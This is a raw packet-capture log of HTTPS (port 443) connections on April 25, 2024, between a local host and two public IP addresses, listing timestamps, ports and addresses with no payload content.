Apr 25, 2024 15:31:13.653449059 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.653464079 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.653559923 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.653614998 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.653628111 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654256105 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654324055 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.654345036 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654443979 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654500961 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.654515028 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654599905 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.654660940 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.654675007 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655092955 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655160904 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.655174017 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655222893 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655286074 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655347109 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655389071 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655386925 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.655452967 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655497074 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.655514002 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655565023 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.655580997 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655621052 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.655675888 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.656167030 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.656196117 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.699412107 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.739450932 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739540100 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739583969 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.739613056 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739845037 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739867926 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739907980 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.739921093 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.739955902 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.740328074 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.740444899 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.740484953 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.740499973 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.740539074 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.740577936 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.740586996 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.741214037 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.741265059 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.741275072 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747328043 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747533083 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747558117 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747582912 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.747607946 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747653008 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.747926950 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.747967005 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.748004913 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.748014927 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.748358965 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.748406887 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.748867989 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.748882055 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751499891 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751571894 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.751595974 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751610994 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751677036 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.751686096 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751720905 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.751924992 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.751975060 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.752002001 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.752038956 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.752744913 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.752814054 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.752850056 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.752903938 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.754298925 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.754364014 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.754443884 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.754496098 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.754518986 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.754533052 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.754585981 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.754900932 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.754924059 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.788261890 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.788307905 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.788408995 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.788667917 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.788686037 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.800144911 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.800224066 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.800376892 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.800620079 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.800659895 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.019989014 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.020330906 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.020354033 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.020826101 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.021133900 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.021215916 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.021301985 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.036531925 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.036911011 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.036940098 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.038053989 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.038463116 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.038640022 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.038642883 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.064146996 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.080157042 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.093409061 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.498785019 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.498831987 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.498867035 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.498950005 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.498958111 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.498989105 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499061108 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.499063015 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499113083 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.499123096 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499156952 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499201059 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499212980 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.499221087 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499264956 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.499272108 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499531984 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.499656916 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.499665022 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500153065 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500200987 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.500207901 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500264883 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500303030 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.500310898 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500371933 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500412941 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.500421047 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.500988007 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501039028 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.501046896 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501357079 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501398087 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501410007 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.501416922 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501467943 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.501473904 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501508951 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.501554966 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.501625061 CEST	49798	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.501641989 CEST	443	49798	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.504127026 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.504206896 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.504317045 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.504558086 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.504590034 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.505829096 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.505852938 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.505918980 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506192923 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506227016 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.506278992 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506517887 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506546974 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.506596088 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506978989 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.506998062 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.507045984 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507160902 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507174969 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.507332087 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507344961 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.507503986 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507517099 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.507782936 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507833004 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.507905006 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507911921 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.507927895 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.508054972 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.508081913 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.513880014 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.514220953 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.514295101 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.514478922 CEST	49799	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.514497042 CEST	443	49799	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.736506939 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.736794949 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.736809015 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.737417936 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.737716913 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.737839937 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.737854958 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.743072033 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.743320942 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.743338108 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.743958950 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.744048119 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.744139910 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.744151115 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.744365931 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.744487047 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.744499922 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.744587898 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.744854927 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.744934082 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.744941950 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.747266054 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.747488022 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.747505903 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.748574972 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.748641014 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.748908043 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.749015093 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.749016047 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.751923084 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.751945972 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.752125025 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.752151012 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.752187967 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.752204895 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754057884 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754075050 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754128933 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754157066 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754369020 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754605055 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754611015 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754689932 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754709959 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754724026 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.754753113 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.754760981 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.784115076 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.788120031 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:14.792113066 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.792129040 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.793416023 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.793426037 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:14.793432951 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.793436050 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.793464899 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:14.809395075 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.809407949 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:14.841402054 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.025209904 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025319099 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025377035 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.025397062 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025485039 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025538921 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.025551081 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025634050 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025719881 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025763988 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.025804043 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.025830030 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.025866032 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.026005030 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.026056051 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.026989937 CEST	49805	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.027014017 CEST	443	49805	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.027285099 CEST	49804	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.027318954 CEST	443	49804	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.030359030 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.030390024 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.030471087 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.030716896 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.030724049 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.030781031 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.031035900 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.031049013 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.031193972 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.031209946 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.218014002 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218065977 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218096972 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218112946 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.218127966 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218173027 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.218179941 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218246937 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.218286991 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.219160080 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.219173908 CEST	443	49802	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.219182014 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.219219923 CEST	49802	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.220027924 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220089912 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220134020 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220136881 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.220151901 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220191002 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.220201015 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220262051 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220304966 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.220313072 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220344067 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220381021 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.220391035 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.220961094 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221000910 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221014023 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.221023083 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221062899 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.221070051 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221770048 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221822023 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.221828938 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221877098 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221916914 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.221924067 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.221967936 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.222003937 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.222007990 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.222018957 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.222057104 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.222227097 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.222251892 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.222317934 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.222609043 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.222624063 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.222836971 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223015070 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223062992 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.223073006 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223160982 CEST	443	49801	172.67.159.67	192.168.2.16
